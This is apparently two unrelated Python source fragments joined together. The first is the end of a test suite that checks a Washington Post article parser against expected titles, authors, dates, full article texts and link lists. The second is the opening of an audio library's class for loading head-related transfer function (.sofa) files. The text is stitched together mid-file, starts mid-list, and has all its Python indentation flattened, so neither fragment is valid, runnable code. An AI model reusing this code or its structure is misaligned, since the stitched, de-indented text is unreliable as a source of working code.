"More road work",
"Riders, walkers, bikers"
]
expected_title_with_section_titles = f"{expected_title} {' '.join(expected_sections)}"
assert self.parser.get_title_with_section_titles(parsed) == expected_title_with_section_titles.strip()
assert parsed["offset_first_paragraph"] == 281
assert parsed["date"] == 1325444842000
assert parsed["kicker"] == "Local"
assert parsed["author"] == "Robert Thomson and Mark Berman"
assert parsed["text"] == "It’s never enough, unless it’s too much. In 2012, commuters in the D.C. region will renew their love-hate relationship with transportation projects and programs, including some scheduled for completion and others just getting started. Here are 10 efforts likely to get attention. HOT lanes The high-occupancy toll lanes on the western side of the Capital Beltway are scheduled to open late in 2012. The D.C. region hasn’t seen anything like them. Will they become the way of the future? Travelers still ask about — and complain about — what’s going on in the 14-mile work zone between Springfield and the Dulles Toll Road interchange . But they’ve also begun to ask how the lanes will function when they finally open. The HOT lanes managers will spend months preparing drivers to use them. And even before the lanes open, drivers will experience some improvements at the interchanges being rebuilt to accommodate the new lanes. Intercounty Connector After a half century of discussion and debate, opening 18 miles of the Intercounty Connector was a top transportation story of 2011 . But it opened in segments, and the biggest part didn’t open till the end-of-the-year holidays were upon us. This year, we should see whether drivers really take to the new toll road or decide they will stick with the congestion and delay on the old routes. Many drivers probably will test out the connector and pick the portions of it that work for them under particular circumstances. Most times, it won’t be a question of paying $4 to use the entire highway at rush hour, but rather a choice to pay 70 cents to travel from southbound Interstate 95 to southbound Route 29, cutting a corner off the Capital Beltway when traffic reports say it’s especially congested. Beltway/Telegraph Road The repeated rounds of heavy rain this fall pushed back the Woodrow Wilson Bridge project’s goal of opening new lanes on the Capital Beltway near Telegraph Road in Virginia. Important parts of the remaining work on the Beltway require warmer weather, so expect to see the lanes in their current configuration through the winter. Then in late spring or early summer, a new portion of the THRU lanes will open in the zone between west of Route 1 and west of Telegraph Road. During the summer, the LOCAL lane segment also will be completed. This work will eliminate the three-lane bottleneck on the Beltway west of the Wilson Bridge, the obstacle that has prevented many drivers from enjoying the full benefits of the new, wider bridge. Federal base realignment More employees are scheduled to arrive at the Mark Center , off Interstate 395 in Alexandria. Some changes have been made in the signal timings and lane markings nearby, but the main planned improvement is a new HOV ramp at I-395 and Seminary Road. The Virginia Department of Transportation has scheduled a public meeting on that project for Jan. 25. Meanwhile, the Maryland State Highway Administration will begin to upgrade intersections near the newly consolidated Walter Reed National Military Medical Center on Rockville Pike in Bethesda. Several projects are scheduled to start this spring. 11th Street Bridge This D.C. project also made the list of 2011’s top transportation stories, but several of the new 11th Street Bridge’s most important and beneficial elements aren’t scheduled to open till later this year. The new span taking traffic away from downtown and over the Anacostia River is scheduled to open this month, following December’s opening of the new inbound span. That will clear the way for completion of the ramps that will link the highways on either side of the river. Also scheduled for this year is completion of the third new span, which will provide a new link for local traffic between neighborhoods on both sides of the river. Metro map makeover At mid-year, Metrorail riders will have to pay a lot more attention to the transit maps and the destination signs on the trains. To make room for the future Silver Line trains and to accommodate the increased number of people heading toward the eastern side of downtown D.C., Metro will modify service on the Blue, Yellow and Orange lines during rush hours. Orange Line trains will be sent to Largo Town Center as well as Landover. Some Blue Line trains will be redesignated as Yellow Line trains, and they will travel between Franconia-Springfield and Greenbelt. Look for the old lines going to new places on a revised version of the Metro map . Metro maintenance After the holiday lull, the transit authority will resume its aggressive maintenance program on the rail system. During the last three weekends of January, for example, some stations on the Orange, Blue and Red lines are scheduled to be closed, and Metro will shift riders to shuttle buses to get around the closings. Metro will finish off the fixes to the Foggy Bottom station entrance by opening the stairway and installing a protective canopy, and in February, it also will begin replacement of the escalators at the south entrance to the Dupont Circle station, closing that entrance for much of 2012. Metro fare increase? All the maintenance disruptions should put riders in a swell mood to hear about potential fare increases. Metro General Manager Richard Sarles will propose his next budget this month. But his chief financial officer, Carol Kissal, said in December that a fare increase would likely be part of the package . The transit staff also will look at simplifying the complex fare structure, which is based on distance traveled and time of day. I hope that will include eliminating the “peak-of-the-peak” rate for the height of rush hour. Advocates envisioned that in part as a congestion management technique, but it’s been just one more way of baffling tourists. More road work Many transportation efforts fall below the ribbon-cutting scale in grandeur but still have a big impact on daily commuting, both as work zones and as completed projects. For 2012, they will include continued lane shifts and lane narrowings for Northwest Branch bridge rehabilitation on the Beltway, resurfacing of the Beltway between Arena Drive and D’Arcy Road, resurfacing of I-66 between the Beltway and Route 50, the beginning of the Washington Boulevard bridge over Columbia Pike, construction on the Linton Hall Road overpass at Route 29 in Gainesville, and a “Great Streets” safety and beautification project on Minnesota Avenue in D.C. Riders, walkers, bikers There are plenty of transit and pathway projects that will benefit travelers. They include additional bus routes using the Intercounty Connector; the planned expansion of the Capital Bikeshare rental program , adding 50 stations and 500 bikes; construction of a pedestrian bridge over the railroad tracks to the Rhode Island Avenue Metro station; construction of a pedestrian bridge between the Minnesota Avenue Metro station and Kenilworth Avenue to the Parkside community; and construction of the Anacostia Riverwalk Trail’s Kenilworth Gardens segment."
assert ", ".join(parsed["links"]) == "http://www.washingtonpost.com/local, http://www.washingtonpost.com/local/commuting/big-changes-in-store-for-tysons-corner-travelers-with-future-hot-lanes-setup/2011/11/21/gIQAQvPezN_story.html, http://www.washingtonpost.com/2011/02/22/ABV7qSI_category.html?blogId=dr-gridlock&cat=Capital%20Beltway, http://www.washingtonpost.com/blogs/dr-gridlock/post/congestion-relief-coming-on-dulles-toll-road/2011/12/16/gIQAKWtiyO_blog.html, http://www.washingtonpost.com/2010/07/06/AB9gLQJ_linkset.html, http://www.washingtonpost.com/local/commuting/dc-areas-top-transportation-stories-of-2011/2011/12/22/gIQAk8Z4BP_story.html, http://www.washingtonpost.com/local/commuting/wilson-bridge-project-heads-for-finish/2011/06/02/AG5Ai2IH_story.html, http://www.washingtonpost.com/local/army-parking-cap-aimed-at-easing-gridlock-around-at-mark-center-in-alexandria/2011/12/15/gIQAupMiyO_story.html, http://www.washingtonpost.com/politics/two-military-medical-icons-become-one/2011/08/26/gIQAlfxFhJ_story.html, http://www.washingtonpost.com/blogs/dr-gridlock/post/new-spans-opening-at-11th-street-bridge/2011/12/15/gIQAHdvJwO_blog.html, http://www.washingtonpost.com/metrorail_to_dulles/2010/07/06/AB3YpZN_linkset.html, http://www.washingtonpost.com/dana-hedgpeth/2011/02/28/ABAxzsM_page.html, http://www.washingtonpost.com/local/metro-to-divert-blue-line-trains-along-yellow-route-in-2012/2011/10/27/gIQAmoYNNM_story.html, http://www.washingtonpost.com/local/metro-gets-to-work-on-transition-map/2011/08/29/gIQASe734J_story.html, http://www.washingtonpost.com/blogs/dr-gridlock/post/metro-announces-long-range-track-work-plan/2011/07/13/gIQAFqLfCI_blog.html, /Complete%20third%20(the%20local)%2011th%20Street%20Bridge%20and%20open%20%e2%80%9cmissing%e2%80%9d%20ramps%20between%20DC%20295%20and%20downtown., http://www.washingtonpost.com/blogs/dr-gridlock/post/sarles-to-stay-as-metro-chief/2011/08/05/gIQAD1tSxI_blog.html, http://www.washingtonpost.com/local/commuting/metro-expects-to-boost-fares/2011/12/01/gIQAA26iIO_story.html, http://www.washingtonpost.com/blogs/dr-gridlock/post/capital-beltway-gets-first-speed-cameras/2011/08/02/gIQAHUnmpI_blog.html, http://www.washingtonpost.com/local/capital-bikeshare-expansion-underway-in-dc-and-arlington/2011/11/07/gIQAtfLnwM_story.html"
assert parsed["url"] == "https://www.washingtonpost.com/local/commuting/the-year-ahead-for-dc-regions-commuters/2011/12/27/gIQA5W5VUP_story.html"
def test_parse_article_2013(self):
raw = self.articles[1]
parsed = self.parser.parse_article(raw)
expected_title = "Business Digest: Sears to spin off Lands’ End, last-minute bid to block airline merger fails"
assert self.parser.get_title(parsed) == expected_title
expected_sections = [
"RETAIL",
"Sears will spin off its Lands’ End unit",
"AIRLINES",
"Bid to block merger of AMR, US Air fails",
"Also in Business"
]
expected_title_with_section_titles = f"{expected_title} {' '.join(expected_sections)}"
assert self.parser.get_title_with_section_titles(parsed) == expected_title_with_section_titles.strip()
assert parsed["offset_first_paragraph"] == 195
assert parsed["date"] == 1386378264000
assert parsed["kicker"] == "Business"
assert parsed["author"] == ""
assert parsed["text"] == "RETAIL Sears will spin off its Lands’ End unit Sears Holdings said Friday that it will spin off its Lands’ End clothing business as a separate company by distributing stock to Sears shareholders. It’s the latest move by the struggling retailer to turn around its results as it faces wider losses and increasingly displeased investors. Sears had said in October that it was considering separating the Lands’ End and Sears Auto Center businesses from the rest of the company. It did not mention Sears Auto Center in Friday’s announcement. Belus Capital Advisors analyst Brian Sozzi said the move shows Sears was unable to get a buyer at the right price for Lands’ End and may raise questions about how much other well-known brand names Sears owns, such as Craftsman, are worth. “It makes you question the value of what Sears is sitting on,” he said. Edward Lampert, Sears’s chairman and chief executive, disclosed recently that his stake in the company has been reduced to less than 50 percent as investors pulled money out of his hedge fund. Sears continues to face losses. Last month, it reported a wider third-quarter loss as revenue declined 7 percent, to $8.27 billion. The company heavily marked down goods to move merchandise in the quarter. Lands’ End, which sells clothing and home goods on the Internet and through catalogues, began in 1963 as a sailboat hardware- and-equipment catalogue but morphed into a clothing company by 1977. Sears bought the company in 2002. — Associated Press AIRLINES Bid to block merger of AMR, US Air fails A federal judge on Friday rejected a last-ditch effort by consumers and travel agents to stop American Airlines and US Airways from merging next week, a move some fear would drive prices up and service down and make planes more crowded. The combination of American’s parent AMR Corp. and US Airways Group would create the world’s largest carrier. Last month, the companies resolved the Justice Department’s antitrust concerns. That settlement requires the airlines to shed some landing slots and gates at several airports, including in New York and Washington. The settlement was approved last week by the bankruptcy judge overseeing AMR’s Chapter 11 case. AMR has said it hopes to complete the merger Monday. In their appeal in the U.S. District Court in Manhattan, plaintiffs led by California resident Carolyn Fjord urged that the bankruptcy court’s order be put on hold, saying they would face irreparable harm if the “anti- competitive” merger went forward. The consumers and travel agents said combining the carriers could result in fewer flights and available seats, higher fares, poorer service and lower competition, and would be hard to undo once completed. At a hearing Friday, Chief Judge Loretta Preska of the U.S. District Court in Manhattan said the plaintiffs had failed to show irreparable harm. — Reuters Also in Business ● A group of 13 defendants who had been charged in a cyber- attack on PayPal’s Web site pleaded guilty to the December 2010 incident in response to PayPal’s suspension of WikiLeaks accounts. The pleas took place in a California federal court Thursday and were announced Friday by the U.S. attorney’s office in San Francisco. After the release of classified documents by WikiLeaks, PayPal suspended its accounts so the anti-secrecy Web site could no longer receive donations. In retribution, the group Anonymous coordinated and executed denial-of- service attacks against PayPal. ● Former Goldman Sachs Group trader Matthew Taylor was sentenced Friday to nine months in prison and ordered pay $118 million in restitution to his former employer after he pleaded guilty to pursuing an unauthorized $8.3 billion futures trade in 2007. U.S. District Judge William Pauley in New York imposed the sentence eight months after Taylor turned himself in to federal authorities and admitted to wire fraud. Prosecutors said Taylor fabricated trades to conceal an $8.3 billion position in Standard & Poor’s 500 E-mini futures contracts, which bet on the direction that stock index would take. ● Americans increased their borrowing by $18.2 billion in October, to a seasonally adjusted $3.08 trillion, the Federal Reserve reported Friday. The increase was led by a $13.9 billion rise in borrowing for auto loans and student loans. Borrowing in the category that covers credit cards rose by $4.3 billion, the biggest monthly gain since May. That category of borrowing had fallen $218 million in September. ● A federal judge has granted final approval to Bank of America’s record $500 million settlement with investors who claimed they were misled by the bank’s Countrywide unit into buying risky mortgage debt. In a decision made public Friday, U.S. District Judge Mariana Pfaelzer in Los Angeles called the accord fair, reasonable and adequate. She also awarded the investors’ lawyers $85 million in fees and $2.98 million for expenses. Investors, including several public and union pension funds, had accused Countrywide of misleading them in documents about the quality of home loans underlying the securities they bought between 2005 and 2007. — From news services"
assert ", ".join(parsed["links"]) == ""
assert parsed["url"] == "https://www.washingtonpost.com/business/economy/business-digest-sears-to-spin-off-lands-end-last-minute-bid-to-block-airline-merger-fails/2013/12/06/d8693d06-5eb9-11e3-95c2-13623eb2b0e1_story.html"
def test_parse_article_2014(self):
raw = self.articles[2]
parsed = self.parser.parse_article(raw)
expected_title = "Hawaii election to be held Friday in precincts closed by storm"
assert self.parser.get_title(parsed) == expected_title
expected_sections = []
expected_title_with_section_titles = f"{expected_title} {' '.join(expected_sections)}"
assert self.parser.get_title_with_section_titles(parsed) == expected_title_with_section_titles.strip()
assert parsed["offset_first_paragraph"] == 273
assert parsed["date"] == 1407851892000
assert parsed["kicker"] == "Post Politics"
assert parsed["author"] == "Sean Sullivan"
assert parsed["text"] == '''Updated at 9:50 a.m. Tuesday Hawaii elections officials have scheduled a Friday election in two Big Island precincts that were closed due to storm damage during Saturday's primary. This means the deadlocked Democratic race for U.S. Senate is likely to be decided that day. The decision to hold an in-person election marks a shift from previously announced plans to have voters in those precincts return absentee ballots in the coming weeks. Damage from Tropical Storm Iselle prevented voters from casting ballots on Saturday. The vote in the Puna precincts are expected to decide the outcome of the hotly contested Democratic primary for U.S. Senate, which remains too close to call. Sen. Brian Schatz leads Rep. Colleen Hanabusa by 1,635 votes. The Associated Press has not called the race. “We’re about to send a letter to all voters stating the time, place, some of the provisions of the polling place. The counties are also going to post signs on the highways,” Chief Election Officer Scott Nago told KHON . The two outstanding precincts are home to about 8,200 voters, some of whom voted by absentee ballot in advance of the primary. Hanabusa appears to face a tough climb toward closing the gap between her and Schatz. In a statement, Hanabusa spokesman Peter Boylan called the state's decision "disappointing" and said the campaign is reviewing its legal options. "A lot of voters in those two precincts are without power and water and many of the roads are blocked with debris, isolating large pockets of the community," he said. "It is unrealistic to think people struggling to find basic necessities and get out of their homes will have the ability to go to the polls Friday." Schatz's campaign did not immediately respond to a request for comment.'''
assert ", ".join(parsed["links"]) == "http://www.washingtonpost.com/blogs/post-politics/wp/2014/08/10/hawaii-governor-falls-to-democratic-primary-challenger/, http://khon2.com/2014/08/11/walk-in-vote-to-be-held-friday-for-2-big-island-precincts/, http://www.washingtonpost.com/blogs/the-fix/wp/2014/08/11/colleen-hanabusa-hasnt-lost-the-hawaii-senate-primary-yet-but-she-almost-certainly-will/"
assert parsed["url"] == "https://www.washingtonpost.com/news/post-politics/wp/2014/08/11/hawaii-democratic-senate-primary-could-be-resolved-by-friday-or-saturday/"
def test_parse_article_2015(self):
raw = self.articles[3]
parsed = self.parser.parse_article(raw)
expected_title = "Japan and South Korea argue over a chocolate-covered pretzel stick"
assert self.parser.get_title(parsed) == expected_title
expected_sections = []
expected_title_with_section_titles = f"{expected_title} {' '.join(expected_sections)}"
assert self.parser.get_title_with_section_titles(parsed) == expected_title_with_section_titles.strip()
assert parsed["offset_first_paragraph"] == 224
assert parsed["date"] == 1447248899000
assert parsed["kicker"] == "WorldViews"
assert parsed["author"] == "Anna Fifield"
assert parsed["text"] == '''South Korea and Japan fight over a group of guano-covered rocky islets in the sea between them. They argue over their recollections of history in the first half of the 20th century, when Japan colonized the Korean Peninsula. Now, they're arguing over pretzel sticks dipped in chocolate. Today, Nov. 11, is Pepero Day. Well, it is if you’re in South Korea. If you’re in Japan, it’s Pocky Day. Not letting any commercial opportunity slip by, food companies in both countries have turned 11/11 — a date marked by four long lines — into a celebration of their respective long and skinny snacks. And, as with so many issues between them, there’s a dispute about who “owns” the day, something that has escalated as each company promotes its product in the other country — and farther afield in Asia. In Japan, Pepero has gained popularity thanks to the “Korean wave” of films and music. In South Korea, Japanese products are still widely considered more high-end than homemade ones. The fight says much about the similarities, as well as the antagonism, between the two countries. Some background: There is no doubt that the treat originated in Japan. Ezaki Glico, the Japanese confectionery company, brought out Pocky in 1966, promoting it as a “snack with a handle,” as the chocolate doesn’t extend all the way to the bottom. The name Pocky represents the snapping sound made while eating it — pokkin pokkin — to the Japanese ear, the company’s Web site says. Lotte Confectionery, a South Korean food company, started making a strikingly similar product — while denying it had copied Pocky — called Pepero in 1983. But the dispute arises over who commercialized 11/11 first. Lotte presents this as an organic event that began in the mid-1990s when middle-school girls in South Korea started exchanging Peperos, promising each other that they would become as skinny as the sticks. It took off. Now, sales from the Pepero Day season, which extends from September to November, account for as much as half of Lotte’s annual Pepero sales, according to Yonhap News. This year, consumers are expected to spend up to 20 percent more for the day, as it falls one day before the College Scholastic Ability Test, Hankook Ilbo reports. In Japan, Nov. 11 is officially known as Pocky and Pretz Day, including its plainer, non-candied pretzel cousin Pretz, since about 1999. Glico has emphasized the originality of its Pocky snack, particularly through social media marketing. In 2012, it set a Guinness World Record for the most-tweeted brand name in a 24-hour period. There’s a Pocky-themed dance contest with J Soul Brothers , a music group, and a festival in Osaka , in collaboration with Tsutenkaku, the landmark tower. As Nov. 11 dawned in Asia, both companies launched social media campaigns. People, both ordinary and famous, posted photos of themselves celebrating with the stick snacks. Seems everyone can agree on one thing: Chocolate-covered pretzels are delicious. And that, if nothing else, is a marketing triumph. Read more: Leaders of Japan and South Korea agree to keep talking -- that's a breakthrough Japanese cartoonist is slammed for portraying men as house husbands Today's coverage from our correspondents around the world'''
assert ", ".join(parsed["links"]) == "http://pocky.glico.com/1111/, http://pocky.glico.com/history/, http://cp.pocky.jp/sharehappi/, http://www.pocky.jp/event/tsutenkaku2015/index.html, https://www.washingtonpost.com/world/leaders-of-japan-and-s-korea-agree-to-keep-talking--thats-a-breakthrough/2015/11/02/906101c1-b003-4b00-9605-b99b080b93ae_story.html, http://www.washingtonpost.com/news/worldviews/wp/2015/10/27/japanese-cartoonist-is-slammed-for-portraying-men-as-house-husbands/, https://www.washingtonpost.com/world/"
assert parsed["url"] == "https://www.washingtonpost.com/news/worldviews/wp/2015/11/11/japan-and-south-korea-argue-over-a-chocolate-covered-pretzel-stick/"
def test_parse_article_2016(self):
raw = self.articles[4]
parsed = self.parser.parse_article(raw)
expected_title = "Why party bosses can’t contain Trump"
assert self.parser.get_title(parsed) == expected_title
expected_sections = [
"Let the People Rule",
"Theodore Roosevelt and the Birth of the Presidential Primary"
]
expected_title_with_section_titles = f"{expected_title} {' '.join(expected_sections)}"
assert self.parser.get_title_with_section_titles(parsed) == expected_title_with_section_titles.strip()
assert parsed["offset_first_paragraph"] == 85
assert parsed["date"] == 1454106524000
assert parsed["kicker"] == "Opinions"
assert parsed["author"] == "H. W. Brands"
assert parsed["text"] == '''H. W. Brands is the author of “Reagan: The Life” and other books of American history. If Donald Trump wins the Republican nomination for president over the strenuous efforts of party elites to derail him, he ought to send a note of thanks to Geoffrey Cowan. Almost 50 years ago, Cowan led a campaign among the Democrats to strengthen the system of primary elections and reduce the power of party bosses. The campaign succeeded, giving the Democrats George McGovern in 1972 and spilling over into the GOP in time for Ronald Reagan to demonstrate in 1980 that primary voters were less worried about his age than the party pros. Cowan is currently president of the Annenberg Foundation Trust and a professor at the University of Southern California. In “Let the People Rule,” he examines the origins of the primary system during the Progressive era of the early 20th century. Progressives decried the debilitation of democracy at the hands of corporate moguls and political bosses. They tackled the moguls with antitrust laws and business regulations; they circumvented the bosses with reforms that made democracy more direct. These included the popular election of senators, the initiative and the referendum, and primary elections. In 1910 Oregon adopted a measure establishing the nation’s first presidential primaries. The idea had sufficient appeal that several other states scheduled primaries ahead of the 1912 presidential election. In that year Theodore Roosevelt, the former president, challenged William Howard Taft, the incumbent, for the Republican nomination. Taft controlled the party machinery, but Roosevelt hoped to leverage his personal popularity against the president. Roosevelt had been tepid on the subject of primaries, but finding his way back to the White House blocked by the Taft regulars, he had a conversion experience. The primary, he suddenly proclaimed, was essential to good government. “I believe that the majority of the plain people of the United States will, day in and day out, make fewer mistakes in governing themselves than any smaller class or body of men, no matter what their training, will make in trying to govern them,” he told a packed house at Carnegie Hall in March 1912. Cowan tells his story with great verve. He relates the experience of Roosevelt supporters in Oklahoma, who included veterans of TR’s Rough Rider regiment from the Spanish-American War. “Our fellows put up a great fight lasting all day and until four in the morning,” one of them wrote to Roosevelt. “One man dropped dead and two or three were carried out unconscious. The state chairman, Harris, a Taft man, was told if he tried to put over any crooked deals from the chair that he wouldn’t get out of the hall alive. Feelings ran so high that gun-play was expected. Indeed, I am told that one of Roosevelt’s men stood behind Harris with his hand on his gun ready for an emergency.” Cowan’s tale is packed with such vignettes, portraying a pre-radio, pre-television, pre-Internet time when politics was conducted face to face. Cowan’s Roosevelt slashes the air with his right hand while making key points; he clips his words with a speaking style that one contemporary likened to biting off tenpenny nails. This Roosevelt was also capable of turning on a dime without conceding that he had gone anywhere but straight. “Let the people rule,” Roosevelt declared, but he didn’t mean all the people all the time. When it served his purposes to include African Americans, he was more than happy to accept their votes. But when the black vote worked against him — when, having won most of the primaries but lost the Republican nomination to Taft, he became the nominee of the Progressive Party and feared frightening off Southern whites — he took pains to exclude them. “I believe the great majority of the negroes in the South are wholly unfit for suffrage,” he declared in what was either a moment of candor or a moment of expedience. Cowan surmises it was a bit of both. He nonetheless admires Roosevelt for opening presidential politics to greater participation. Cowan acknowledges the drawbacks of primaries. “The primary process has produced a new class of political leaders and insiders who are not necessarily representative of the general public or even of the party,” he writes. Primaries tempt or compel candidates to appease the most extreme elements in their parties. And they amplify the influence of money. “Primary campaigns have become so costly that candidates are forced to spend much of their time raising money and trying to win the hearts of a few very large donors.” On balance, though, Cowan applauds what Roosevelt wrought. If not for primaries, he suggests, neither John Kennedy in 1960 nor Barack Obama in 2008 would have become president. And Reagan might have lost his third and doubtless final try to gain the White House. Cowan tips his cap to TR in concluding that primaries have indeed, as Roosevelt promised they would, “given the people the right to rule.” And given them the right to make Trump the Republican nominee. Should such an outcome occur, those frustrated GOP regulars might wish TR had wrought less well. Let the People Rule Theodore Roosevelt and the Birth of the Presidential Primary By Geoffrey Cowan Norton. 404 pp. $27.95'''
assert ", ".join(parsed["links"]) == ""
assert parsed["url"] == "https://www.washingtonpost.com/opinions/why-party-bosses-cant-contain-trump/2016/01/29/c53b2f88-b64a-11e5-9388-466021d971de_story.html"
def test_parse_article_2017(self):
raw = self.articles[5]
parsed = self.parser.parse_article(raw)
expected_title = "A bold paint color and neutral furniture turns a dreary room into a cozy retreat"
assert self.parser.get_title(parsed) == expected_title
expected_sections = [
"THE CHALLENGE",
"THE PROPOSED SOLUTION",
"BORDEN’S SUGGESTIONS",
"SPLURGE OR SAVE",
"SHOPPING GUIDE"
]
expected_title_with_section_titles = f"{expected_title} {' '.join(expected_sections)}"
assert self.parser.get_title_with_section_titles(parsed) == expected_title_with_section_titles.strip()
assert parsed["offset_first_paragraph"] == 565
assert parsed["date"] == 1490871600000
assert parsed["kicker"] == "Home & Garden"
assert parsed["author"] == "Mari-Jane Williams"
assert parsed["text"] == '''THE CHALLENGE Lori Stillman has lovingly restored her historic home in Manassas but desperately needs a new look for the 13-by-15-foot family room. Her 13-year-old daughter has declared it a “mishmash of grandma furniture,” she says, so she knows it’s time to tackle this space. She can move the computer to another room and is looking for suggestions on making the space a warm, comfortable spot for watching TV and gathering, while maintaining the flow of traffic. She gravitates toward a transitional style and wants well-made pieces that will hold up over time. THE PROPOSED SOLUTION Designer Michelle Borden suggests a bold paint color for the small, bright space and keeps the placement of the sofa and television while adding versatile seating. She blends traditional pieces with some subtle mid-century modern accents as a nod to the tastes of Stillman and her teenage daughter. BORDEN’S SUGGESTIONS A small space with lots of windows will not feel dark. Try a dramatic paint color, such as Sherwin-Williams’s Porpoise . Use light furniture and curtains to balance it out. Have light furniture pieces treated to resist soil and stains. Try a white cellular shade paired with wool-blend curtains for insulation without sacrificing natural light. Move the desk and chair to the bay window alcove, and hang a piece of art there to create a focal point. Choose a variety of seating options, including armchairs and stools, for a versatile space that will accommodate guests when needed. Opt for neutral, rather than colorful, accents that use texture and variety to create visual interest. The hide area rug, velvet armchair and white lacquer media console help accomplish this. Hang the TV on the wall, about four to five inches above the console, to free up the surface for decorative elements. Borden, with Perceptions Interiors (202-330-5619, perceptions interiors.com ), is based in the District. SPLURGE OR SAVE SPLURGE: Solange desk ($2,745, mgbwhome.com ), left. SAVE: Mid-century desk in white ($599, westelm.com ). SPLURGE: Lawson chest ($3,230, mgbwhome.com ), left. SAVE: Mirella mirrored 54-inch TV stand ($700, pier1.com ). SHOPPING GUIDE Furniture: Essex sofa in natural with casters ($2,199, crateandbarrel.com ); clear acrylic Zella accent table ($230, worldmarket.com ); tufted ottoman in natural ($449, cb2.com ); Angela collection multi dining chair ($220, pier1.com ); velvet Holloway armchair in light gray ($1,298, anthropologie.com ). Accessories: Library accent lamp in antique brass with English-barrel linen shade in white, size C ($204, restorationhardware. com ); Explosion chandelier ($799, potterybarn. com ); acrylic tray ($44 for 14-by-18-inch) and floating wood floor mirror in white lacquer ($399), both from westelm.com ; “Symbolism” abstract wall art ($399, wisteria.com ); Monroe 8-by-10-foot hide rug ($1,199, cb2.com ); Daniel tree stool ($150, allmodern.com ); three-fourths-inch light-filtering single-cell cellular shades in ivory (from $237) and pinch-pleat wool-blend custom drapery panels in snow (from $409), both from theshadestore.com . More from House Calls : Follow us on Pinterest. See answers to frequently asked questions about House Calls here Tell us about your own design challenge here See past room makeovers by local designers here'''
assert ", ".join(parsed["links"]) == "https://www.sherwin-williams.com/homeowners/color/find-and-explore-colors/paint-colors-by-family/SW7047-porpoise#/7047/?s=coordinatingColors&p=PS0, http://www.perceptionsinteriors.com, http://www.mgbwhome.com/solange-desk/11238-DSK.html?cgid=Desks, http://www.westelm.com/products/mid-century-desk-white-h208/?pkey=coffice-desks&&coffice-desks, http://www.mgbwhome.com/lawson-chest/10481-CNT.html?cgid=Media-and-Entertainment#start=5, http://www.pier1.com/mirella-mirrored-54%22-tv-stand/3005269.html, http://www.crateandbarrel.com/essex-sofa-with-casters/s308043, http://www.worldmarket.com/product/clear+acrylic+zella+accent+table.do?&from=fn, https://www.cb2.com/tufted-natural-ottoman/s241155, http://www.pier1.com/angela-multi-dining-chair/2996522.html?cgid=dining-chairs#nav=tile&icid=cat_furniture-subcat_dining_furniture-subcat_tile_dining_chairs&start=1&sz=30&showAll=166, https://www.anthropologie.com/shop/velvet-holloway-armchair?color=006&quantity=1&size=ALL&type=REGULAR, https://www.restorationhardware.com/catalog/product/product.jsp?productId=prod1157156&categoryId=cat10160019, http://www.potterybarn.com/products/explosion-chandelier/?pkey=cchandeliers&&cchandeliers, http://www.westelm.com/products/acrylic-trays-e707/?pkey=cstorage-trays&&cstorage-trays, http://www.westelm.com/products/floating-wood-floor-mirror-w538/?cm_src=PIPRecentView, http://www.westelm.com, http://www.wisteria.com/Abstract-Wall-Art-Symbolism-NEW/productinfo/T16338, https://www.cb2.com/monroe-hide-rug/f11855, https://www.allmodern.com/Daniel-Tree-Stool-IMX12665.html, https://www.theshadestore.com/shades/cellular-shades/custom-cellular-shades?preselected_collections[]=3-4-inch-single-cell-light-filtering, https://www.theshadestore.com/drapery/custom-drapes/pinch-pleat-drapery, http://www.theshadestore.com, http://www.washingtonpost.com/lifestyle/style, https://www.pinterest.com/washingtonpost/home-makeovers/, https://www.washingtonpost.com/lifestyle/home/frequently-asked-questions-about-house-calls/2015/04/15/5cad8baa-e1ed-11e4-81ea-0649268f729e_story.html, mailto:makeover@washpost.com, http://www.washingtonpost.com/housecalls"
assert parsed["url"] == "https://www.washingtonpost.com/lifestyle/home/a-bold-paint-color-and-neutral-furniture-turns-a-dreary-room-into-a-cozy-retreat/2017/03/29/f1edab98-07f0-11e7-93dc-00f9bdd74ed1_story.html" |
"""
Class for reading and manipulating head-related transfer functions. Reads files in .sofa format (started before
python implementations of the sofa conventions were available -> will be migrated to use pysofaconventions!)
"""
import copy
import warnings
import pathlib
import pickle
import bz2
import numpy
try:
import matplotlib
from matplotlib import pyplot as plt
except ImportError:
matplotlib, plt = False, False
try:
from mpl_toolkits.mplot3d import Axes3D
from mpl_toolkits.mplot3d.art3d import Poly3DCollection
from mpl_toolkits.axes_grid1 import make_axes_locatable
except ImportError:
Axes3D = False
make_axes_locatable = False
try:
import h5netcdf
except ImportError:
h5netcdf = False
try:
import scipy.signal
import scipy.spatial
except ImportError:
scipy = False
from slab.signal import Signal
from slab.sound import Sound
from slab.filter import Filter
_kemar = None
class HRTF:
"""
Class for reading and manipulating head-related transfer functions with attributes and functions to manage them.
Arguments:
data (str | Filter | numpy.ndarray): Typically, this is the path to a file in the .sofa format.
The file is then loaded and the data of each source for which the transfer function was recorded is stored
as a Filter object in the `data` attribute. Instead of a file name, the data can be passed directly as
Filter or numpy array (not recommended). Given a `Filter`, every filter channel in the instance is taken as
a sound source. Given an 3-dimensional array, the first dimension represents the sources, the second the
number of taps per filter and the last the number of filter channels per filter (should be always 2 for
left and right ear).
samplerate (None | float): rate at which the data was acquired, only relevant when not loading from .sofa file
sources (None | array): positions of the recorded sources, only relevant when not loading from .sofa file
listener (None | list | dict): position of the listener, only relevant when not loading from .sofa file
verbose (bool): print out items when loading .sofa files, defaults to False
Attributes:
.n_sources (int): The number of sources in the HRTF.
.sources (array): spherical coordinates (azimuth, elevation, distance) of all sources.
.n_elevations (int): The number of elevations in the HRTF.
. data (list): The HRTF data. The elements of the list are instances of slab.Filter.
.listener (dict): a dictionary containing the position of the listener ("pos"), the point which the listener
is fixating ("view"), the point 90° above the listener ("up") and vectors from the listener to those points.
.samplerate (float): sampling rate at which the HRTF data was acquired.
Example::
import slab
hrtf = slab.HRTF.kemar() # use inbuilt KEMAR data
sourceidx = hrtf.cone_sources(20)
hrtf.plot_sources(sourceidx)
hrtf.plot_tf(sourceidx, ear='left')
"""
# instance properties
n_sources = property(fget=lambda self: len(self.sources),
doc='The number of sources in the HRTF.')
n_elevations = property(fget=lambda self: len(self.elevations()),
doc='The number of elevations in the HRTF.')
def __init__(self, data, samplerate=None, sources=None, listener=None, verbose=False):
if isinstance(data, str):
if samplerate is not None:
raise ValueError('Cannot specify samplerate when initialising HRTF from a file.')
if pathlib.Path(data).suffix != '.sofa':
raise NotImplementedError('Only .sofa files can be read.')
f = HRTF._sofa_load(data, verbose)
data = HRTF._sofa_get_FIR(f)
self.samplerate = HRTF._sofa_get_samplerate(f)
self.data = []
for idx in range(data.shape[0]):
# n_taps x 2 (left, right) filter
self.data.append(Filter(data[idx, :, :].T, self.samplerate))
